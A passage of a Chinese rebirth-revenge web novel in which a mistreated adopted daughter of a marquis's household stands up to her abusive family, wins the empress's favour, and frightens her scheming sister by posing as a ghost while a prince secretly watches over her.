谢翊宁不知道他心底的想法,只是紧紧盯着晏逐星的脸,思索着她一个堂堂侯府嫡女,为何在他的梦里会出现在边关?
……
“你还敢躲?”定远侯怒气更甚。
“当初要不是我瞧着你可怜,同意你娘将你留下,你现在早就不知道被拐子卖到哪里去了。”
“这些年我供你吃供你穿,让你当侯府大小姐,你呢,非但不感恩,还闹到京兆府去,让人看侯府的笑话,我真是养了个白眼狼!”
晏逐星抬头看着目露凶光的定远侯,唇角勾起了一抹嘲讽的笑。
白眼狼么?
上辈子,因为他支援霍家军失踪,侯府上下乱成了一团。
她为了让温如霜安心,悄悄离开了京城,亲自去边关寻找定远侯。
她想着,若是能将父亲找回来,母亲和兄长或许会对她刮目相看,就会重新疼爱她了。
然而她去了边关,却进不了军营,最后是霍将军的夫人念在她一片孝心的份上将她收留。
她花了三个月时间打动霍将军教她习武,可没人看好她。
毕竟十五岁才开始习武,太晚了。
幸好她还算争气,在习武一事上颇有天分,三个月后,已经可以用**和霍将军的副将打个平手了。
她的**用得极好,霍将军夸她若是能早点学武,恐怕会成为当世用枪第一的女子。
半年后,大军进犯,她随大将军上战场杀敌。
连挑敌军十人下马,一战成名。
后来,霍将军为她请功,她成了第一个被皇上授予将军称号的女子。
“星儿,你给爹爹道个歉吧,此事是你做得不对。是你自己要搬到那个院子里去的,现在后悔了,你找爹娘说一声就是,怎么还闹到衙门去。太不懂事了。”
“虽然你不是我们的亲妹妹,但你要是能像明月一样知书达理,乖巧听话,我们也会喜欢你,把你当成亲妹妹对待。你想想都是侯府千金,为何明月受下人喜爱,而你却被大家厌恶。你真该好好反省反省,整个京城,哪家贵女像你这样愚钝粗鄙?”
晏明远和晏明修像往常一样开始给她洗脑,想让她觉得她连晏明月的脚后跟都不如。
晏逐星收回了回忆,静静听他们说这些屁话。
她很想
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知道,他们能不要脸到什么程度。
屋顶上的谢翊宁听着他们的话,恍然大悟。
原来她并非侯府亲生骨肉,在侯府的生活又水深火热,怪不得她会逃离京城,去边关女扮男装从军。
谢翊宁眯着眼眸打量晏家人。
他的救命恩人,可不能让别人欺负了。
他冲停云招了招手:“去,放火烧个院子。”
停云张了张嘴,欲言又止。
王爷行事真是愈发让人摸不着头脑了。
不仅悄悄咪咪摸到侯爵家中,如今还要纵火烧别人的宅邸。
“愣着干嘛,快去。”谢翊宁催促。
若是侯府起火了,定远侯肯定没空骂人了。
“是。”停云应声,轻轻一跃,点燃了侯府的一处院子。
而谢翊宁则入宫去了。
他要找母后,给他的救命恩人撑腰!
主仆二人就此离开,因而也就错过了接下来精彩的一幕。
“你们都说完了吗?”晏逐星等他们说累了,这才淡定开口。
晏明月将绢帕按在眼角,摆出惯用的弱柳扶风姿态:“姐姐,千错万错都是我的错。你有气冲我撒,打我骂我都可以,何苦闹到外头去,毁坏侯府的声誉,害得爹爹要被皇上训斥……”
话音未落,晏逐星抬手就给了她两个耳光,力道大得将她扇退后了好几步。
晏明月一脸错愕地看着她。
“你刚刚说的呀,打你骂你都可以。你不会说话不算话吧?”晏逐星笑意盈盈。
晏明月呜咽着掉眼泪,看向了两位兄长。
晏明远和晏明修心疼极了。
他们连捧在掌心都怕磕伤的亲妹妹,竟然被一个野种给打了。
晏明远当即扭头训斥晏逐星:“跪下……”
晏逐星根本不给他继续说下去的机会,抬手也给了他两耳光:“不是让我反省为什么下人欺负我不欺负晏明月吗,那你也反省反省,为什么我不打别人就打你。”
晏明远也被打懵了。
这还是那个对他言听计从,懦弱无能的妹妹吗。
晏逐星扫了一眼旁边张大嘴满脸不可思议的晏明修。
晏明修被她看得退后一步,脱口而出:“你打了明月和大哥,可就不能打我咯。”
晏逐星冷笑一声,以迅雷不及掩耳之势,冲上去啪啪也甩了他两个耳光:“顺手的事。”
晏家兄妹三人:……
晏逐星这是疯了吗?
第7章 想让人家给你当王妃?
定远侯更是被她这个举动气得老脸通红。
他猛地拍桌子,下令道:“来人,将这逆女捆了,家法伺候。”
晏明月听到这话,眼里瞬间闪过一抹幸灾乐祸。
当着那么多人的面被杖责,晏逐星算是彻底完了。
然而晏逐星脸上却不见半点慌乱。
她看向定远侯,淡定道:“父亲,裴大人还等着我去国公府做客,若我不去,他会让裴二小姐亲自来侯府探望我。你也不想再被告到皇上面前吧?”
定远侯牙齿都要咬碎了。
这个时候还真不能打伤她。
有裴明镜的奏折在前,就算他说出去是晏逐星顶撞他这个父亲,殴打兄长姊妹他才惩戒她的,皇上也不会相信。
而且裴明镜就是个疯狗,若是被他紧盯不放,之后可就麻烦了。
“退下!”定远侯将下人呵退,死死地看着晏逐星。
他换了一个缓和的语气:“星儿,父亲怎么舍得真的打你呢,只是你先前那样太过分了,我才想要吓唬吓唬你。”
“我就知道父亲对我最好了,那现在我是不是可以搬回瑶华院了?”晏逐星笑眯眯地看着他。
晏明月满脸的震惊和疑惑,不解地看着两人。
刚刚明明还剑拔**张,怎么一下就和好了?
听到晏逐星想要她的院子,她当即反对:“不行,那是我的!”
“在你回来之前,那可是我的。”晏逐星抬手,晏明月吓得捂住脸躲到了大哥身后。
晏逐星抬起的手顺势划过晏明月发顶三寸虚空,最终化作懒洋洋的伸展姿态。
她打了个哈欠,挑眉看向她:“妹妹,我不过是伸个懒腰而已,你躲什么呀?”
晏明月哪里愿意承认她是怕晏逐星又打她,咬着唇不敢回答。
定远侯压着怒气开口:“星儿,瑶华院你妹妹都住了好几年了,你现在要搬回去也不方便,不如你重新选个院子可好?你想选哪里,爹爹都依你。”
“行,那就玉澜院吧。”晏逐星说出了自己真正想要的地方。
玉澜院离角门最近。
她接下来有很多事情需要离开侯府去办,住在那里最方便。
晏明月住过的地方,真要送她,她还不稀罕呢。
定远侯见她愿意松口,点头应下了此事。
这时,下人慌慌张张地跑了进来。
“二小姐,不好啦,瑶华院起火啦!”
“什么?”晏明月大惊失色,再没空追究晏逐星想要她院子的事情,慌慌张张地往自己的院子赶去。
她有好多衣裳和首饰,可千万不能烧没了。
其余几人见她哭的厉害,也赶紧跟了上去。
晏逐星懒得去凑热闹,她叫住了冷汗淋漓的管家林平。
“林管家,你听到父亲的吩咐了吧。”
林平现在哪里还敢得罪她。
侯爷都不敢动这位大小姐,夫人也被她气晕了,家里的几个主子,全都被她给扇了一遍。
而她却没受半点惩戒全身而退。
这叫什么,这就是本事啊。
林平赔着笑脸道:“小的这就让人替大小姐整理院子,保准让您满意。”
晏逐星这才慢悠悠地去了玉澜院。
这一夜,侯府鸡飞狗跳,唯有晏逐星睡了一个好觉。
……
谢翊宁去了皇宫。
未等他拾阶而上,两柄交叉的银枪已横在面前。
“放肆!酉时三刻宫门落锁,尔等不知晓规矩么?”侍卫厉声呵斥。
谢翊宁走近,昏黄的宫灯映亮他的脸,右侧侍卫倒吸一口凉气:“永、永安王?”
满宫皆知永安王是帝后心头肉。
别的皇子及冠才敕封,眼前这位周岁就得了王爵。
只因其身在襁褓之时便身染沉疴,国师卜卦后断言其命格有缺,恐难逾弱冠之龄。
诸皇子封号皆循大虞祖制以单字为尊,独这位破了例,玉牒金册上是“永安”二字。
由此可见帝后对其疼爱之心。
因而他也获得了其他王爷皇子没有的特权。
诸王皆需持螭纹玉符经三司勘验方能入宫,唯有永安王不拘昼夜时辰,无须符节诏令,可凭天颜勘验即可长驱直入。
侍卫将寒铁枪尖仓皇收回,扯了
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一把同僚,膝盖重重磕在石阶上,他赶忙道:“禁军新调来的愣头青不识贵人,求王爷恕罪。”
“无妨。本王有事要见母后。”谢翊宁拢了拢狐皮大氅。
侍卫赶忙替他开宫门。
谢翊宁快步踏进了宫里,直奔未央宫。
“石头怎么来了?”皇后崔凝华看到小儿子,眸中泛起温柔的笑意。
听到这个称呼,谢翊宁鼻腔蓦然一酸。
他自小体弱,被国师断定活不过二十岁,母后为了他长寿平安,什么法子都愿意试一试。
这不,听闻民间百姓会给孩子取一个“贱名”,好养活。
于是给他取了小名叫“石头”。
希望他能如顽石一般坚韧,长命百岁,千年不朽。
他从前觉得这个名字上不得台面,兄长们都各有好听的字,只有他叫石头。
而今梦醒了,重活一遭,他才意识到这是母后对他最好的祝愿与期盼。
“母后,我有件事想求您帮帮忙。”谢翊宁坐到了她身边。
“哦?什么事,很难办吗?”崔皇后有些惊讶。
这孩子打小就被她和皇帝宠着长大,要风得风,要雨得雨,想要什么都是直接开口,还是头一回听到他用上了“求”这个字。
崔皇后心里泛起了嘀咕。
不会是什么违背祖宗的决定吧?
“今日有一事已经在京城传开了……”谢翊宁将晏逐星的事情说了出来。
崔皇后听着,忍不住皱起了眉头。
“没看出来呀,这定远侯夫人竟然是这样的人。还有那定远侯,也太不是个东西了。你既然收养了人家,为何还要**人家?即便不是亲生的,养了十几年,就算是条狗,也该养出感情了,怎么能这般薄情寡义。”
“就是。所以呀,母后,您要好好赏赐一下晏大小姐,她太可怜了。”谢翊宁附和地点了点头。
崔皇后瞥了他一眼:“不对呀,你怎么这么关心晏家那位大小姐?”
她目光灼灼地看着儿子,眼里跳跃着兴奋的意味:“难不成,你看上人家了?想让人家给你当王妃?”
第8章 这丫头,怎么那么命好!
谢翊宁脱口而出:“您想多了。”
他回忆了一下晏逐星的容貌,摇了摇头。
竹片似的身材,瘦瘦小小的,看起来像棵豆芽菜,仿佛风一吹就会被折断。
因为自己活不久,所以他也不喜欢这种看起来随时会没命的人。
但一想到晏逐星的脆弱,全是定远侯府的人造成的,他就一肚子的火气。
他决定在自己的报恩计划上加上一条——
让晏逐星吃好喝好,把她养得珠圆玉润,再给她找个好人家嫁了!
让她一辈子衣食无忧,长命百岁,也对得起她那万箭穿心的救命之恩了。
否认完,又怕母后乱点鸳鸯谱,他加重语气强调:“母后,您只要送点赏赐给她,让她过得真的像个侯府大小姐就好。我不打算娶妻生子,您莫要胡来。”
崔皇后听到他不娶亲,伸手戳了戳他的脑门:“你这孩子,说的什么话。哪有人不娶妻生子的,母后还等着抱孙子呢。”
“好吧好吧,我若能活过二十岁,就听您的娶个王妃,再给您生个大胖孙子。”谢翊宁无所谓地摊了摊手。
听到他这话,崔皇后眼眶瞬间就红了。
“我和你父皇做了那么多,一定能让你活下去的,你不许说这些丧气的话。”
“好,我不说了。”谢翊宁急忙转移话题。
待到哄得皇后笑逐颜开,方才离开宫中,回自己的王府。
……
定远侯府昨夜失火,定远侯正好趁势称病告假,未赴早朝,以此避开皇上的责难。
他看着枕边的夫人,沉声道:“今日你就命人给那丫头多裁些衣裳,吃食上也莫要怠慢了她,省得过两日裴明镜又找上门来。”
温如霜不忿地开口:“说到底,这只是家务事,裴明镜他管得着么。”
“没闹到京兆府之前是家务事,闹过去,那他插手就名正言顺了。”定远侯说起这事就一肚子的火气。
“你平日里怎么打理后宅的,竟然让人将事闹到官府上去,真是丢尽了侯府的脸面。”
温如霜委屈极了。
“我那会晕过去了,要是我醒着,怎么可能让那个贱丫头走出侯府半步。”
“一点小事就晕过去,你这个侯府夫人可还有半点主母威仪?”定远侯现在对晏逐星是打不得骂不得,只能把火全都撒在旁人头上。
“若是真这般身体柔弱,那不如将管家之权交给柳姨娘和林姨娘打理,免得累坏了身子。”
他冷哼一声起身,将温如霜撇在了原地。
温如霜被气得满脸通红。
她持家多年,就出了这么一回岔子,侯爷竟然就想要罢免她的管家权,简直是欺人太甚!
“混账。”温如霜气得将枕头砸到了地上。
一旁的丫鬟们大气都不敢喘。
好半晌后,晏明月来了。
她委屈巴巴道:“娘亲,昨夜失火,我好多衣裳都被烧坏了。”
“坏了就坏了,娘这就让人给你做新的。”温如霜看到女儿,脸色缓和了几分。
女儿丢失又找回来,吃了那么多苦,她总觉得亏欠她良多。
“多谢娘亲!”晏明月这才露出了几分笑意。
“那姐姐那边呢?是不是也要让人去给她裁衣裳?”
“裁什么裁,让她等着。我就不信,那裴明镜今日就会来。”温如霜听到晏逐星就脸色发青。
晏明月听到这话,暗自窃喜。
她火上浇油道:“姐姐也真是的,您这个母亲都气晕了,竟然也不来瞧瞧。她光顾着跟裴大人告状,说咱们待她不好,她也不想想,她这般不孝,您要怎么心疼她呀。”
温如霜心里的火气又被她的话给勾起来了。
“没错。她不孝,我为何要疼爱她。她若不来找我认错,那衣裳就过两日再做。我要让她知道,这侯府后宅还是我当家做主。裴明镜能照看她一时,难不成还能照看她一世不成。”
两人慢悠悠地梳妆打扮,在屋子里喝茶,等着九章堂的绣娘上门量体裁衣。
不曾想,绣娘未至,宫里的旨意便到了。
“什么,皇后娘娘有旨?”温如霜和晏明月都吓了一跳,匆忙整理衣裳,急匆匆去接旨。
不曾想,那个嬷嬷瞧见他们,却没有马上颁布懿旨,而是东张西望,随后皱眉询问:“不知道侯府大小姐可在,皇后娘娘命老奴给姑娘送些小玩意。”
两人脸色顿时变了。
什么,皇后竟然是冲着晏逐星来的?
温如霜急忙命心腹嬷嬷李氏去将晏逐星请来,压低声音嘱咐:“将我房里那件织金云雁衔梅斗篷给她披上再来。”
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晏逐星得知皇后命人给她送东西,有些茫然。
上辈子,可没有这样的好事。
李氏将斗篷取来替她披上,晏逐星瞧着面前的几位健硕仆妇,没有反抗,乖顺地披上了斗篷去见那位宫中来的吴嬷嬷。
“见过嬷嬷。”晏逐星行了一礼。
躬身行礼时,她略微动了手脚,斗篷掉落在地,旋即露出了破旧不合身的衣裳。
温如霜牙齿都要咬碎了。
她赶忙弯腰捡起斗篷给晏逐星穿上,挤出笑脸强行解释:“你这丫头,想让娘亲给你做新衣裳,也不用穿成这样啊。娘早就请九章堂的绣娘来了,待会就到,保证给你做全京城最时兴的衣裳。”
晏逐星没有反驳,只是怯生生地应了一句:“多谢母亲。”
吴嬷嬷将两人的举动看在眼里,没说什么,只是冲晏逐星垂手行了个礼,笑着开口。
“大小姐,老奴今日来,是奉了皇后娘娘的旨意,邀您参加半个月后的冰嬉宴。”
吴嬷嬷取出一张洒金的请柬,双手捧着递上前:“昨日偶闻姑娘的名讳,娘娘便想起姑娘九岁那年在冰嬉宴上献上的破阵舞。您踏着冰刀旋身抛扇的模样,这都过去好几年了,娘娘还常念叨说满京城再寻不出第二人。”
她的话勾起了晏逐星远久的记忆。
九岁那年的冰嬉宴,是她记忆里最后一抹快乐的时光了。
后来,晏明月被找回家,她便再也没有出现在任何宴会上了。
“今年冰嬉宴十公主也想跳破阵舞,娘娘想着若姑娘得空,不妨去宫中给公主指点一二。”
听到吴嬷嬷这话,温如霜和晏明月的表情变得十分难看,她们死死地盯着晏逐星,眼里全是妒忌和不满。
这丫头,怎么那么命好!!!
竟然得了皇后娘娘的青睐。
晏逐星不疾不徐地回应道:“不过雕虫小技罢了,指点谈不上,承蒙娘娘厚爱,臣女定然尽力而为。”
吴嬷嬷满意地点点头,继续道:“自然,娘娘不会白让姑娘跑一趟,特赐了一件雪貂裘、一对暖手炉,两支野山参、十筐银丝炭,还有江南织造局送来二十匹云锦……”
吴嬷嬷介绍着忽然表情一变。
娘娘不是就赏赐了这几样东西么,后边多出来的那些是怎么一回事?
第9章 王爷呀,你这一回看走眼啦!
“咳咳。”
后边一个小厮弄出咳嗽声,吸引了吴嬷嬷的注意。
她定睛一看,那是永安王府的人。
她嘴角抽了抽,心下顿时了然,后边那几个大箱子全永安王自己贴补的。
不知道里边有什么,吴嬷嬷便一句话带过了:“剩下的东西呀,姑娘您就自己看吧。总之都是娘娘精心准备的。”
“臣女叩谢皇后娘娘恩典。”晏逐星规规矩矩行了一礼。
“既是如此,姑娘好生歇息,过几日皇后娘娘会派人来接姑娘入宫,去见十公主。”吴嬷嬷说完正要走,就看到季太医也来了。
季太医抢在她前边开了口。
“皇后娘娘想着晏大小姐身子柔弱,特意让老臣前来问诊。待到身子骨好了,再让她入宫指点十公主。”
吴嬷嬷:……
来之前皇后娘娘没告诉她还派了太医啊。
但转念一想,季太医是永安王的御用太医,他多半也是永安王寻来的。
她忍不住多看了晏逐星几眼。
这眉眼生得倒是动人,只是这瘦瘦小小的,看不出来比京中其他贵女好看在哪呀,怎么就得了永安王另眼相待。
晏逐星也稀里糊涂的,皇后娘娘对她是不是好得也太过分了点?
她那年跳的破阵舞,有那么好吗。
疑惑归疑惑,但她没忘了及时表忠心谢恩:“多谢皇后娘娘厚爱,臣女铭感五内。”
而温如霜和晏明月已经震惊到麻木了。
晏逐星到底做了什么,让皇后娘娘这么赏识。
先是让心腹嬷嬷送了那么多赏赐来,又请了太医院的季太医来给她看病。
晏逐星没有给他们眼神,任凭他们脑补。
她坐在椅子上,乖乖伸手让季太医替她把脉。
她这几年吃不饱穿不暖,身子定然有所亏损。
她原打算从定远侯那边拿到钱,自己去找个大夫好好瞧瞧,没想到皇后娘娘竟然给她请了太医。
太医可比街上的大夫强多了。
想要报仇,就得先养好身体。
免得仇人前脚**,自己后脚就死,那报仇有什么意义。
季太医替她把完脉,将脉枕收回药箱,面露不悦地看了一旁的温如霜一眼。
“姑娘这脉象沉细如丝,气血两虚。脾脉濡弱,胃气衰败,分明是经年累月饥饱失序所致。”
温如霜听得脸一阵白一阵红。
她赶忙找补:“你这孩子,都说了不许挑食,你瞧瞧,这也不吃那也不吃,如今倒好,身子竟然受损至此。你是要剜为娘的心肝不成?”
她将锦帕按在眼下,流下两滴泪,看向季太医:“季大人,该如何给我儿调养?您只管开药方,只要能让星儿好起来,不管花多少银子都愿意。”
季太医淡淡道:“令嫒这毛病需用参苓白术散徐徐温补,佐以八珍汤固本培元,而后每日燕窝一盏以润肺经。好好养个一年半载,就会康复如初了。”
温如霜脸色僵住了。
当初她怀着长子,也只是到了快生的时候,婆母才让她隔日喝一盏燕窝。
如今这死丫头竟然每日都要服用一盏。
她也配?
“母亲,大厨房每日要给我做药膳太麻烦了,横竖只需两个灶眼,不如在我院子里另起一个小膳房,也省得给我熬药,耽误了你们用膳。”晏逐星恰到时机地开口。
温如霜被架在火上烤,看着季太医和吴嬷嬷的表情,她只能勉强点头挤出笑容:“行,都依你。只要你肯好好吃饭就好。”
这时,九章堂的绣娘苏娘子终于来了。
温如霜舒了一口气,当着季太医和吴嬷嬷的面,让她先给晏逐星做衣裳。
晏逐星拒绝了:“母亲,不如先让苏娘子为妹妹裁衣。皇后娘娘赏赐之物还未清点造册,劳烦母亲命人将此物送去我的院子。”
“好,都听你的。”温如霜憋屈不已,但又无可奈何。
季太医和吴嬷嬷离开后,大气都不敢喘的晏明月跺了跺脚,扯着温如霜的手撒娇。
“娘亲,皇后娘娘赏赐的东西这般贵重,姐姐的玉澜院人手不够,放着不安全吧。不如放到您的库房去?”
她的算盘打得极好。
东西入了娘亲的库房,日后她也能分一杯羹。
温如霜觉得这个主意不错。
她不想让那死丫头手里拿着那么多好东西。
然而,不等她开口,晏逐星就冷笑一声:“妹妹,过几日皇后娘娘还要接我入宫,你也不想我在她面前哭诉东西被抢走吧。”
晏明月脸瞬间涨得通红:“什么抢走,姐姐说话太难听了,我只是怕东西弄丢了。”
“东西丢了,那就说明侯府的护卫都是废物,换一批吧。对了,你把之前伺候我的双鲤找回来吧。我还是喜欢她伺候我。”晏逐星继续提要求
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。
反正她现在可以扯着皇后娘娘的虎皮替自己撑腰,现在不要好处,之后可就不好要了。
“行。”温如霜的声音几乎是从牙缝里透出来的。
看不惯晏逐星,还不能惩戒她。
她执掌侯府多年,还是头一回这么憋屈。
晏逐星心满意足地盯着下人把皇后娘娘赏赐的东西抬回自己的院子,一个箱子都没落下。
晏明月快气哭了。
“娘亲,姐姐怎么这样啊……”
温如霜咬牙切齿道:“且让她嚣张一时,等到冰嬉宴后皇后娘娘将她忘了,我就好好整治她。我要让她知道,要留在侯府就必须听我这个主母的。”
……
没过多久。
双鲤就被送到了玉澜院。
她看到晏逐星,一瞬间就红了眼眶。
“大小姐,您受苦了。”
晏逐星看着面前的心腹丫鬟,坚硬如铁的心也变得有一瞬间柔软。
当初她犯傻,搬去破院子后,被晏明月三言两语挑拨得自小伺候自己的丫鬟也不要了。
因而双鲤就被遣散到后院干些粗活去了。
后来她挨饿受冻,都是双鲤私底下悄悄给她送馒头和旧衣裳,她才能坚持到现在。
不然她早就**。
上一世,她要离开京城去边关寻找定远侯,也是双鲤给她行了方便,悄悄放她离开,不然她连侯府大门都出不去。
如今她有了自己的院子,重新夺回大小姐的位置,自然要把她找回来。
“别哭了。眼泪是最没用的东西。”晏逐星伸手替她擦去眼泪。
“我将玉澜院交给你打理,你可愿意?”
“奴婢愿意。”双鲤忙不迭答应,而后眼里又流露出一丝迟疑和不自信。
“只是,奴婢怕做不好。”
“没关系,有我替你撑腰,谁若不服,我会将她打服。你只要把东西都看好,不要让人偷了骗了就好。”晏逐星掂了掂手里的木棍。
她打算从今日起,就把上辈子霍将军教她的那些招式,再练习一遍。
她绝不做待宰的羔羊。
乔装混进侯府偷听的停云听到这话差点一个踉跄栽倒。
王爷还说晏家大小姐可怜,让他来看她有没有受欺负。
晏大小姐这般凶悍,哪里像是会被欺负的样子。
她不欺负别人就不错了。
王爷呀,你这一回看走眼啦!
第10章 王爷的关注点,好生奇特
双鲤听到晏逐星的话,激动地拍胸脯发誓:“奴婢一定替小姐看好这些东西,谁若想拿走,就从我的尸体上踏过去!”
“倒也不必拿命去拼,关键时刻,先保护好自己。”晏逐星摸了摸她的脑袋。
“谁若敢抢我的东西,我自会让她付出代价。”
“嗯!”双鲤重重点头,看着晏逐星的眼睛里满是欣喜。
她五岁那年**葬父,大小姐替她安葬了父亲,将她带回府中。
她就发过誓,她的命都是大小姐的。
两人一块清点起皇后娘娘送来的东西。
除了吴嬷嬷先前说的那些东西,晏逐星发现皇后娘娘竟然贴心地连被子也准备了。
这得对她的境况了解得有多清楚啊。
晏逐星摸了摸松软的棉花被子,吸了吸鼻子。
真好,以后不会再受冻了。
除此之外,还有各种补身体的好东西,甚至还有一箱子的银票和一匣子铜钱。
略略数了一数,银票加起来一共有一万两。
晏逐星倒吸了一口凉气。
这哪里是赏赐,分明是生生往她怀里砸了座泼天富贵。
晏逐星将这些东西一一记了下来,随后就让来给她量体裁衣的苏娘子把御赐的布料都拿来做新衣裳。
“全,全做了?”苏娘子有些惊讶。
“嗯,先做一件合身的冬装,剩下的稍微放量做宽大些。把来年春夏的衣裳也一块做了。”晏逐星不打算便宜了侯府的人。
她绝不亏待自己。
做大点,来年养好身子长高长肉了,还能继续穿。
“是。”苏娘子将她的要求一一记下。
“我母亲不是让我挑料子么,哪个贵你就帮我做哪个,颜色不拘,如今京中贵女们常穿的色就好,你看着做个三十套吧。”晏逐星继续报要求。
她没放过让温如霜大出血的机会。
温如霜要装慈母,那就让她装个够。
苏娘子喜上眉梢。
这可真是个大生意呀。
“好,都听您的。”她笑呵呵地应下。
她是看出来了,这位侯府大小姐正和侯府夫人别苗头呢。而侯府夫人为了面子,是一定会答应的。
管家拿着订单告知温如霜此事,她气得几乎要吐血。
她一个季度最多也就做二十套衣裳,晏逐星一开口就三十套。
再加上皇后给的布料,她这下加起来至少做了四十套衣裳。
她穿得过来么!
“小人得志!”她狠狠地啐了一口,恨不得去撕了晏逐星。
偏偏这时定远侯还接到了宫里传来的训诫,皇上说他治家无方,勒令他闭门思过整肃门庭。
他把一切都怪到了温如霜母女身上。
“蠢货,成事不足败事有余,带累得本侯也被皇上训斥。”
原本还想跟爹爹撒娇,让他给自己多做几套裙子的晏明月瞬间闭上了嘴。
定远侯发泄完怒气转身就走,温如霜被骂得直掉眼泪,也没空去安慰女儿。
晏明月将指甲掐进掌心才堪堪压住翻涌的恨意。
她失魂落魄地回了自己的院子。
院子昨夜才失了火,被烧了一间屋子,今日还在修整。
看着毁坏的屋子,她心底的悔意和怨气翻滚得更厉害了。
她回侯府之后一直顺风顺水,怎么昨日就栽在晏逐星身上了呢。
明明她才是正儿八经的侯府嫡女,皇后的赏赐,还有九章堂那些昂贵漂亮的衣裳,凭什么都给了晏逐星那个不知道打哪来的野种!
这念头一冒出便似毒藤疯长,绞得她夜半在睡梦中惊醒。
冷汗浸透中衣,高热来势汹汹,像是要把她的五脏六腑都烧成灰烬。
晏明月夜里烧得说起了胡话。
她这一病可把侯府众人给心疼坏了,连夜给她请了大夫。
就连白日里还在生她气的定远侯,都心软了。
晏逐星得到这个消息,眼睛顿时亮了起来。
上一世,晏明月不是说她夜夜入她梦吓得她不得安宁么。
这一世,她便做个好人,实现她的心愿吧。
……
停云回了王府,将晏逐星的近况告诉了王爷。
那位大小姐那么彪悍,想必王爷应该不会让他再去潜伏去侯府保护她了吧。
谢翊宁皱起了眉头,眼底闪过一丝厌恶:“这定远侯府到底是什么**不吐骨头的地方,硬是将她一个侯门大小姐逼成了要靠木棍保护自己的刁蛮千金。”
随后他便下了新的命令。
“你找人混到侯府里守着她,免得她又受了那黑心爹娘和恶毒妹妹还有眼瞎兄长的欺负。本王送她的东西,不许旁人拿了。”
停云“嗯”了一声答应下
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来,准备要走,谢翊宁又叫住了他。
“算了,今夜你陪我再去一趟定远侯府。”
不亲自看一眼他的小救命恩人,他不放心。
……
入夜。
晏逐星早早地准备好了道具。
她换上了丫鬟的衣裳,悄悄出门了。
她白日里去瑶华院确认过了,她小时候院墙角落里挖的狗洞还在,她正好可以从那里溜进去。
她拱着屁股从狗洞里钻过去的时候,丝毫不知道有两个人在身后盯着自己。
停云瞥了一眼自家王爷。
谁家高门贵女会爬狗洞,王爷这下总该失望了吧。
没想到谢翊宁喃喃自语:“这么窄的洞也能钻过去,身子未免也太瘦了,得想法子让她多吃点才行。”
停云:……
王爷的关注点好生奇特,他竟无言以对。
两人跟着晏逐星进了瑶华院,想看她究竟要做什么。
只见晏逐星趴在晏明月寝屋的窗沿下,掏出提前准备好的沾着鸡血的帕子,在窗纱上画了几道长长的指痕,像是黄泉路上爬回来索命的厉鬼。
“小姐,我~好~冷~啊~”
她戴好厉鬼面具,捏着嗓子,轻声呼唤起睡梦中的晏明月。
见她没有反应,便抓起了一个雪团,对准床榻上隆起的轮廓狠狠掷去。
“啪!”
碎雪在晏明月颈后炸开冰花,渗入骨髓的寒意惊得她猛然坐起。
铜炉炭火早已熄灭,屋子里漂浮着若有若无的血腥气,她颤抖着去够床头的银铃,想要将丫鬟叫进来。
一道诡异的声音伴随着寒风钻进她的耳朵里。
“小~姐~我~的~头~呢~”
“我~的~头~怎~么~不~见~了~”
晏明月浑身的血液瞬间凝固。
她想起下人回禀那日抬走茉儿尸体时,茉儿的头颅和身体分开的事情。
“茉儿,不是我害死你的,你不要来找我。是晏逐星,你,你找她去。”她脱口而出替自己辩解,声音抖得不像话。
窗户底下的晏逐星忽然抬头,月光照在她可怖的厉鬼面具上,长长的舌头悬吊在半空中。
“啊,小姐,找到你了!”
晏明月感觉自己的心脏被人狠狠捏住,停顿了片刻后,她的嗓子里才哆哆嗦嗦地冒出两个字:“鬼啊——!”
第11章 王爷一遇上晏大小姐的事,就跟中了邪似的
而后她两眼一翻,彻底晕了过去。
晏逐星嗤笑一声:“胆子真小,没意思。”
她嘟囔着离开,半踮着脚尖,留下了一串不似人的脚印。
绕了一圈后,重新回到玉澜院。
她当即把那些罪证都扔到了火炉里烧得一干二净。
围观了全程的谢翊宁露出了满意的表情。
小恩人真聪明,不愧是上过战场的女子,思虑就是周全。
他想了想,让停云照葫芦画瓢,去一趟温如霜的院落,扮鬼吓唬她。
“你会轻功,扮鬼更像。”
停云:……
他苦练多年的轻功,就是用来扮鬼的么?
王爷怎么一遇上晏大小姐的事情,就跟中了邪似的。
停云心里苦,但停云不敢说。
只能乖乖听话,穿着一身白衣在温如霜的院子里飘来飘去。
还捏着嗓子模仿晏逐星说一些索命的话,当场把温如霜吓得三魂去了六魄。
……
一大早。
双鲤就和晏逐星汇报起了自己打探到的消息。
“大小姐,昨夜大夫人和二小姐的院落闹鬼了。听说是茉儿回来找他们索命。”
“什么?”晏逐星懵了。
她不是只去恐吓了一下晏明月么,温如霜那边是怎么回事。
难不成茉儿的鬼魂真的显灵了?
那茉儿也该来找她才对啊,怎么去找温如霜了。
“难不成是怕了我了?”
晏逐星托着下巴思索了起来。
很快,她得出了结论。
鬼和人一样,也是欺软怕硬的。
她当初软弱,所以让侯府众人骑在她头上,如今她支棱起来了,他们就让步了。
就连鬼都不敢来招惹她了。
晏逐星很满意自己的变化。
她用过了早膳,决定出门一趟,裴二小姐送她的披风已经清洗干净,该还给人家了。
她让双鲤留下照看院子,带着另一个丫鬟半棠出门。
她去找侯府要车,但没有侯爷夫人的同意,车夫不敢载她出门。
但今时不同往日,大小姐可是有皇后娘娘撑腰的人。
车夫谁也不敢得罪,捂着肚子道:“大小姐,可真是不巧了。小的腹痛难耐,今日恐怕不能送您出门了。”
说罢他便捂着肚子跑走了。
晏逐星冷笑一声,以为这样就能难得倒她么。
上辈子她连战场都上过了,驾车更难不倒她。
“上车。”她让丫鬟坐上车,自己驾车出侯府。
车夫傻眼了。
赶忙将此事传到主院去。
晏明修得知此事,怒气冲冲地拦住了马车:“娘亲和妹妹病了,你还有心思出门?”
晏逐星不疾不徐道:“我要去一趟卫国公府。裴大人说了,如果我没登门归还披风,他会带着裴二小姐登门拜访,你也不想他再来侯府吧?”
晏明修面色一僵,此事还真不好阻拦。
裴明镜要是再找上门来,那侯府又会重新成为京中众人热议的话题。
他嘟囔道:“那你也该去探望一下娘亲和妹妹呀,白养你那么多年了,忘恩负义的东西。”
晏逐星眸色冷冷扫向他:“你回去好好问问温如霜,到底是我忘恩负义,还是她心怀鬼胎。”
“你怎敢直呼娘亲名讳?”晏明修瞪大了眼睛不可思议地看着他。
“好狗不挡道。我数到三,你若不让开,那我就直接从你身上踏过去了。”晏逐星懒得和这个**纠缠。
想到上辈子这个晏明修要打碎她的魂魄,晏逐星有些跃跃欲试。
他打碎她的魂魄,她让马儿踩断他的腿,收点利息,不过分吧?
“你骂谁狗呢?”听到她口出妄言,晏明修怒了,“你敢伤我,父亲和母亲饶不了你。”
“一、二、……”
没等晏逐星数到三,晏明修迅速闪开了。
